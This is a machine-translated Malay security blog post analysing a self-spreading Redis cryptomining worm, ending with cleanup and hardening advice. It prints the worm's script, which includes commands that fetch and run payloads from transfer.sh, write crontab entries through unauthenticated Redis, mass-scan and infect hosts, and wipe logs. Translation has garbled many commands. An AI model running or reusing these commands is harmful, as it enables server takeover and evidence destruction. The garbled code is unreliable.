Rumah >pangkalan data >Redis >Analisis Kejadian Worm Jangkitan Perlombongan Automatik Linux Redis

Analisis Kejadian Worm Jangkitan Perlombongan Automatik Linux Redis

WBOY
WBOYke hadapan
2023-06-03 12:48:101443semak imbas

1. Latar Belakang

Sejak pendedahan kaedah serangan untuk mendapatkan kebenaran root sistem Linux disebabkan oleh isu tidak dibenarkan Redis, kerana kemudahan penggunaannya, penggodam telah menggunakan isu ini untuk menyerang perkhidmatan Linux untuk perlombongan, pengimbasan, dll. Antara kes pengeluaran hitam, terdapat jenis perlombongan yang mengeksploitasi masalah ini dan menggunakan pnscan untuk mengimbas dan menjangkiti mesin lain secara automatik sentiasa wujud, tetapi ia telah menunjukkan trend yang semakin meningkat sejak kebelakangan ini, dan telah ditangkap berkali-kali baru-baru ini; , kami akan membuat analisis terperinci mengenainya.

2. Penerangan Keterdedahan

Pertama, izinkan saya menerangkan kelemahan yang dieksploitasi Secara lalai, Redis akan terikat kepada 0.0.0.0:6379 Jika tiada tembok api digunakan untuk melindungi, perkhidmatan Redis akan terdedah kepada rangkaian awam kes ini, ia boleh menyebabkan mana-mana pengguna mengakses Redis tanpa kebenaran dan membaca data Redis semasa mempunyai akses kepada pelayan sasaran. Dengan menggunakan kaedah berkaitan Redis tanpa kebenaran untuk mengakses Redis, penyerang boleh berjaya menulis kunci awamnya ke dalam fail authorized_keys dalam folder ~/.ssh pelayan sasaran, dan kemudian log masuk ke pelayan sasaran secara langsung jika perkhidmatan Redis Bermula dengan keistimewaan root, anda boleh menggunakan isu ini untuk mendapatkan keistimewaan root secara langsung pada pelayan.

Selepas mencari di ZoomEye dan SHODAN, didapati bahawa banyak perkhidmatan Redis dibuka pada rangkaian awam, dan perkhidmatan ini mungkin menjadi sasaran serangan.

Linux Redis自动化挖矿感染蠕虫实例分析

Linux Redis自动化挖矿感染蠕虫实例分析

3. Analisis Pencerobohan

Linux Redis自动化挖矿感染蠕虫实例分析

Selepas menganalisis peristiwa yang ditangkap, kami mendapati bahawa keseluruhan proses pencerobohan mungkin termasuk pautan berikut: 1. Imbas pelayan Linux dengan port 6379 terbuka (segmen rangkaian pengimbasan jangkitan berikutnya ialah 1.0.0.0/16 hingga 224.255.0.0/16)

2. Cuba sambung ke Redis melalui redis-cli dan laksanakan perintah penggunaan yang dipratetap dalam fail .dat untuk mengubah suai fail data Redis kepada /var/spool/cron/root, dan kemudian masukkan data ke dalam Redis untuk memuat turun dan melaksanakan skrip. Tindakan ditulis pada tugas crontab

3. Laksanakan tingkah laku berkaitan di atas melalui skrip, lengkapkan implantasi dan mulakan program perlombongan

4. Susun dan pasang pnscan semula, dan teruskan mengimbas dan menjangkiti sasaran seterusnya

4. Analisis Skrip

Fungsi utama keseluruhan pencerobohan dan jangkitan seterusnya adalah berdasarkan skrip NaNd (https://transfer.sh/MIpIA/tmp.9kIguIhkI7) yang dimuat turun dan dilaksanakan dengan menulis masalah Redis ke dalam tugas crontab Dengan menganalisisnya, kita boleh pada dasarnya mendapatkan semua butiran keseluruhan proses Ini adalah skrip asas Kita boleh menganalisis fungsi yang berkaitan melalui tafsiran.

1. tidur 1

2. cari . -maxdepth 1 -nama ".mxff0" -taip f -mmin +60 -delete

3. [ -f .mxff0 ] && keluar 0

4. gema 0 > .mxff0

Selagi bahagian kod ini digunakan untuk menilai pelaksanaan berulang, fail .mxff0 akan digunakan sebagai fail tanda Jika fail itu wujud, ini bermakna skrip telah dilaksanakan pada mesin dan keluar terus fail .mxff0 dan teruskan ke langkah seterusnya; 5. perangkap “rm -rf .m* NaNd tmp.* .r .dat $0” KELUAR

Tetapkan tindakan pratetap untuk memadamkan fail yang berkaitan dan skrip itu sendiri selepas skrip keluar

​6. setenforce 0 2>/dev/null

7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

8. crontab -r 2>/dev/null

9. rm -rf /var/spool/cron 2>/dev/null

10. grep -q 8.8.8.8 /etc/resolv.conf ||. echo “nameserver 8.8.8.8” >> 11. rm -rf /tmp/* 2>/dev/null

12. rm -rf /var/tmp/* 2>/dev/null

13. rm -rf /etc/root.sh 2>/dev/null

14. penyegerakan && echo 3 > /proc/sys/vm/drop_caches

15. kucing < /etc/security/limits.conf

16. * hard nofile 100000

17. * soft nofile 100000

18. root hard nofile 100000

19. root soft nofile 100000

20. * nproc keras 100000

21. * nproc lembut 100000

22. akar keras nproc 100000

23. akar lembut nproc 100000

24. EOF

Bahagian ini terutamanya mengenai mengubah suai konfigurasi sistem Baris 6 dan 7 mematikan SELINU; Kemudian kosongkan /var/spool/cron, dan kemudian tentukan sama ada pelayan DNS sistem 8.8.8.8 wujud, jika tidak, tambahkannya

11-13 Kosongkan direktori tmp sistem dan padam fail berkaitan; Baris 14 mengosongkan cache sistem, manakala baris 15-24 mengubah suai had sumber sistem; 25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j TERIMA

27. ps xf |. grep -v grep |. sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs| .sshd|/tmp/init” | semasa membaca pid _; lakukan membunuh -9 “$pid”; Di sini, iptables ditambah lagi untuk menyekat port 6379 untuk hanya membenarkan akses tempatan Pada masa yang sama, membunuh proses yang berkaitan termasuk perlombongan, klien redis, crawler dan proses lain sekali lagi, dan untuk membersihkan permulaan daripada kemungkinan pencerobohan oleh proses penggodam lain;

28. rm -rf /tmp/* 2>/dev/null

29. rm -rf /var/tmp/* 2>/dev/null

30. echo 0 > /var/spool/mail/root

31. gema 0 > /var/log/wtmp

32. gema 0 > /var/log/secure

33. echo 0 > /root/.bash_history

Kosongkan log log masuk yang berkaitan dan sejarah operasi arahan; 34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”

35. DEB_PACKAGE_NAME=”coreutils bash build-essential membuat gcc redis-server redis-tools redis iptables curl”

36. jika cat /etc/*release | 37. sedap bersih semua

38. yum install -y -q epel-release

39. yum install -y -q $YUM_PACKAGE_NAME

40. elif cat /etc/*release |. grep -qi Red; 41. sedap bersih semua

42. yum install -y -q epel-release

43. yum install -y -q $YUM_PACKAGE_NAME

44. elif cat /etc/*release |. grep -qi Fedora; 45. sedap bersih semua

46. ​​​​yum install -y -q epel-release

47. yum install -y -q $YUM_PACKAGE_NAME

48. elif cat /etc/*release |. grep -qi Ubuntu; 49. eksport DEBIAN_FRONTEND=tidak interaktif

50. rm -rf /var/lib/apt/lists/*

51. apt-get update -q –fix-missing

52. untuk PACKAGE dalam $DEB_PACKAGE_NAME;buat apt-get install -y -q $PACKAGE selesai

53. elif cat /etc/*release |. grep -qi Debian; 54. eksport DEBIAN_FRONTEND=tidak interaktif

55. rm -rf /var/lib/apt/lists/*

56. kemas kini apt-get –fix-missing

57. untuk PACKAGE dalam $DEB_PACKAGE_NAME;buat apt-get install -y -q $PACKAGE selesai

58. elif cat /etc/*release |. grep -qi Mint; 59. eksport DEBIAN_FRONTEND=tidak interaktif

60. rm -rf /var/lib/apt/lists/*

61. kemas kini apt-get –fix-missing

62. untuk PACKAGE dalam $DEB_PACKAGE_NAME;buat apt-get install -y -q $PACKAGE selesai

63. elif cat /etc/*release |. grep -qi Knoppix; 64. eksport DEBIAN_FRONTEND=tidak interaktif

65. rm -rf /var/lib/apt/lists/*

66. kemas kini apt-get –fix-missing

67. untuk PACKAGE dalam $DEB_PACKAGE_NAME;buat apt-get install -y -q $PACKAGE selesai

68. lain

69. keluar 1

70. fi

71. tidur 1

72. jika ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); 73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > wget -q -O .x112 https://codeload.github.com/ptrrkssn /pnscan/tar.gz/v1.12

74. tidur 1

75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && buat lnx && buat pasang && cd .. && rm -rf pnscan-1.12 .x112

76. fi

Tujuan utama senarai panjang kandungan ini adalah untuk memuat turun, menyusun dan memasang pnscan Daripada kandungan, kita boleh melihat pertimbangan sistem pengendalian yang berbeza dan kemudian memasang modul bergantung, dan kemudian memuat turun kod sumber pnscan dari github untuk penyusunan. dan pemasangan; mengapa Ia dikompilasi dan dipasang Adalah berspekulasi bahawa ia serasi dengan sistem yang berbeza dan MD5 pnscan yang dihasilkan oleh setiap kompilasi adalah berbeza untuk mengelakkan daripada membentuk ciri tetap 77. tname=$( mktemp )

78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

79. curl -s $OMURL > $tname || 80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )

81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg

Bahagian ini terutamanya melibatkan memuat turun program perlombongan dan menamakan semula kepada .gpg, menambah kebenaran pelaksanaan, memadamkannya selepas pelaksanaan dan memuat naik semula ke https://transfer.sh/ untuk mendapatkan pautan baharu; 82. [ -z “$NMURL” ] && NMURL=$OMURL

83. ncmd=$(nama asas $(mktemp))

​ 84. sed ‘s|’”$OMURL”‘|’”$NMURL”‘|g’ < $ncmd

85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )

86. echo ‘flushall’ >

87. echo ‘config set dir /var/spool/cron’ >> .dat

88. echo ‘config set dbfilename root’ >> .dat

​ 89. echo ‘set Backup1 “tn*/2 * * * * curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat

91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

92. echo ‘save’ >> .dat

93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat

94. gema ‘simpan’ >> .dat

95. bergema ‘keluar’ >> .dat

Bahagian kandungan ini terutamanya menjana fail .dat baharu, termasuk menggantikan alamat muat turun program perlombongan dalam skrip NaNd asal dengan alamat baharu yang diperoleh dengan memuat naik ke https://transfer.sh/ dalam langkah sebelumnya, juga seperti menggunakan ayat Redis Related;

96. pnx=pnscan

97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

99. untuk x dalam $( seq 1 224 | sort -R ); do

100. untuk y dalam $( seq 0 255 | sort -R ); 101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0.0/96 .$x.$y.o

102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l

103. sambil membaca -r h p; 104. kucing .dat |. redis-cli -h $h -p $p –mentah &

105. selesai < .r.$x.$y.l

106. selesai

107. selesai

Langkah utama ialah memanggil pnscan untuk mengimbas segmen subnet 1.0.0.0/16 hingga 224.255.0.0/16 untuk sasaran dengan port terbuka 6379 dan sistem pengendalian ialah Linux, dan kemudian gunakan redis-cli untuk melaksanakan arahan dalam .dat untuk meneruskan ke sasaran seterusnya di sini nilai parameter -W pnscan ialah '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' dan kandungan yang ditukar ialah '*1rn$4rnINFOrn', iaitu menghantar. permintaan kepada perkhidmatan Redis sasaran untuk mendapatkan pelbagai maklumat pelayan Redis dan nilai statistik, dan kemudian gunakan nilai parameter -R '6f 73 3a 4c 69 6e 75 78' (kandungan selepas penukaran ialah os:Linux) untuk menentukan sama ada ia adalah sistem Linux.

108. echo 0 > /var/spool/mail/root 2>/dev/null

109. echo 0 > /var/log/wtmp 2>/dev/null

110. gema 0 > /var/log/secure 2>/dev/null

111. gema 0 > /root/.bash_history 2>/dev/null

112. keluar 0

Langkah terakhir ialah kerja penamat, mengosongkan log yang berkaitan dan sejarah pelaksanaan perintah Pada masa yang sama, apabila skrip keluar, pratetap tindakan dengan perangkap pada permulaan skrip akan dicetuskan, dan operasi pemadaman akan dilakukan. memadamkan fail berkaitan dan skrip itu sendiri (rm -rf m* NaNd tmp .* .r .dat $0).

Dengan mentafsir skrip, kami pada dasarnya telah memahami tingkah laku dan proses pencerobohan keseluruhan cacing, iaitu proses yang kami terangkan pada mulanya.

Di samping itu, dengan membaca skrip, kami mendapati bahawa walaupun keseluruhan proses pencerobohan tidak begitu rumit, skrip sebenarnya mempunyai banyak butiran "kejuruteraan" untuk dipertimbangkan, yang membuatkan orang kagum dengan "pertimbangan menyeluruh" penceroboh:

1. Gunakan fail .mxff0 untuk semakan pelaksanaan berulang untuk mengelakkan pelaksanaan skrip berulang

2. Untuk meningkatkan kejayaan, beberapa prapemprosesan persekitaran:

a) Tutup SELINUX

b) Tambah 8.8.8.8 DNS

c) Kosongkan direktori tmp

​d) Kosongkan cache sistem

e) Ubah suai had sumber sistem

3. Pembuangan jejak

a) Gunakan tindakan pratetap perangkap untuk memadam fail berkaitan dan skrip itu sendiri selepas pelaksanaan skrip selesai

b) Berulang kali mengosongkan log masuk berkaitan dan log lain serta sejarah pelaksanaan perintah

4. Pencegahan oleh rakan sebaya

a) Gunakan iptables untuk menghalang perkhidmatan Redis daripada dibuka pada rangkaian awam, yang boleh menyebabkan pencerobohan lain

b) Hapuskan sebarang tingkah laku pencerobohan yang mungkin ditinggalkan oleh rakan sebaya dan membunuh proses yang berkaitan

5. Keserasian sistem

a) Tentukan sistem pengendalian, laksanakan arahan yang berkaitan dengan cara yang disasarkan, pasang pakej bergantung, dan maksimumkan kadar kejayaan penyusunan dan pemasangan pnscan

b) Matikan SELINUX dan capai ini dengan setenforce dan ubah suai /etc/sysconfig/selinux

c) Tulis tugas memuat turun dan melaksanakan skrip dalam Crontab, dan melaksanakannya melalui curl, wget, dan lynx

d) Imbasan Pnscan meningkatkan pertimbangan sistem pengendalian dan mengurangkan percubaan jangkitan yang tidak perlu

6. Penyingkiran ciri, penerusan kelangsungan hidup

a) Pnscan menggunakan kaedah pemasangan dan penyusunan, yang bukan sahaja meningkatkan keserasian di bawah sistem yang berbeza, tetapi juga mengelakkan pembentukan ciri MD5 tetap

b) Gunakan https://transfer.sh untuk memindahkan, setiap jangkitan menjana sambungan baharu untuk mengelakkan pautan tetap membentuk ciri tetap

c) Fail berkaitan yang dimuat turun ke sistem menggunakan nama fail yang dijana secara rawak

Justru kerana pelbagai "pertimbangan bernas" penceroboh yang menyebabkan kadar kejayaan pencerobohan dan jangkitannya boleh mencapai tahap tertentu.

5. Cadangan Keselamatan

Pembersihan virus dan pemulihan sistem

Kami merujuk terutamanya kepada gelagat skrip yang berkaitan untuk memulihkan dan memadam gelagat yang sepadan:

1. Tutup SELINUX dan buka semula SELINUX mengikut persekitaran sistem asal dan keperluan perniagaan

2. Kosongkan /var/spool/cron dan pulihkan mengikut sandaran asal

3. Ubah suai /etc/resolv.conf untuk menambah perkhidmatan DNS 8.8.8.8 Jika tiada kesan, anda boleh biarkan sahaja atau padam

4. Had sumber sistem yang diubah suai (/etc/security/limits.conf) dan boleh dipulihkan mengikut sandaran

5. Menambah peraturan Iptables untuk port 6379. Jika ia tidak menjejaskan perniagaan, disyorkan untuk menyimpan

6. Matikan proses yang berkaitan, semak sama ada proses yang diperlukan oleh perniagaan disertakan, dan pulihkan mengikut situasi

7. Pakej yang berkaitan telah dipasang Lihat senarai khusus di atas Ia boleh dipadam mengikut situasi atau disimpan jika tiada kesan

. 8. Selepas menyusun dan memasang pnscan, anda boleh memadam /usr/local/bin/pnscan

9. Mengosongkan log yang berkaitan dan direktori tmp, yang tidak memberi kesan kepada sistem dan boleh diabaikan

10. Memulakan proses melombong dan imbasan pnscan untuk jangkitan, proses: .gpg, pnscan, bunuh terus

Ia juga mengandungi beberapa fail perantaraan Walaupun skrip mengandungi operasi pemadaman yang berkaitan, adalah disyorkan untuk mencari pengesahan secara global: .mxff0, .x112, .gpg, .dat, NaNd, .r.xx.xx.o/l, tmp .xxxx

Pengukuhan perkhidmatan Redis

1. Jika perlu, ubah suai item bind Jangan ikat Redis kepada 0.0.0.0 untuk mengelakkan membuka perkhidmatan Redis ke rangkaian luaran Anda boleh menggunakan iptables atau pengguna Tencent Cloud boleh menyekat akses kepada sumber melalui kumpulan keselamatan

2. Jangan mulakan perkhidmatan Redis sebagai akar jika ia tidak menjejaskan perniagaan Anda juga disyorkan untuk mengubah suai port lalai 6379. Kebanyakan pencerobohan yang menyasarkan isu tidak dibenarkan Redis disasarkan pada port lalai

3. Konfigurasikan AUTH dan tambah pengesahan kata laluan, supaya walaupun ia dibuka kepada rangkaian awam, penggodam tidak akan dapat mengakses perkhidmatan Redis untuk operasi berkaitan melainkan kata laluan lemah

4. Gunakan rename-command CONFIG "RENAME_CONFIG" untuk menamakan semula perintah yang berkaitan Dengan cara ini, walaupun penggodam menyambung ke perkhidmatan Redis yang tidak dibenarkan, dia hanya boleh mendapatkan data yang berkaitan tanpa mengetahui arahan itu, tetapi tidak boleh mengeksploitasinya lagi

Atas ialah kandungan terperinci Analisis Kejadian Worm Jangkitan Perlombongan Automatik Linux Redis. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam
Artikel sebelumnya:Cara menggunakan RedisArtikel seterusnya:Cara menggunakan Redis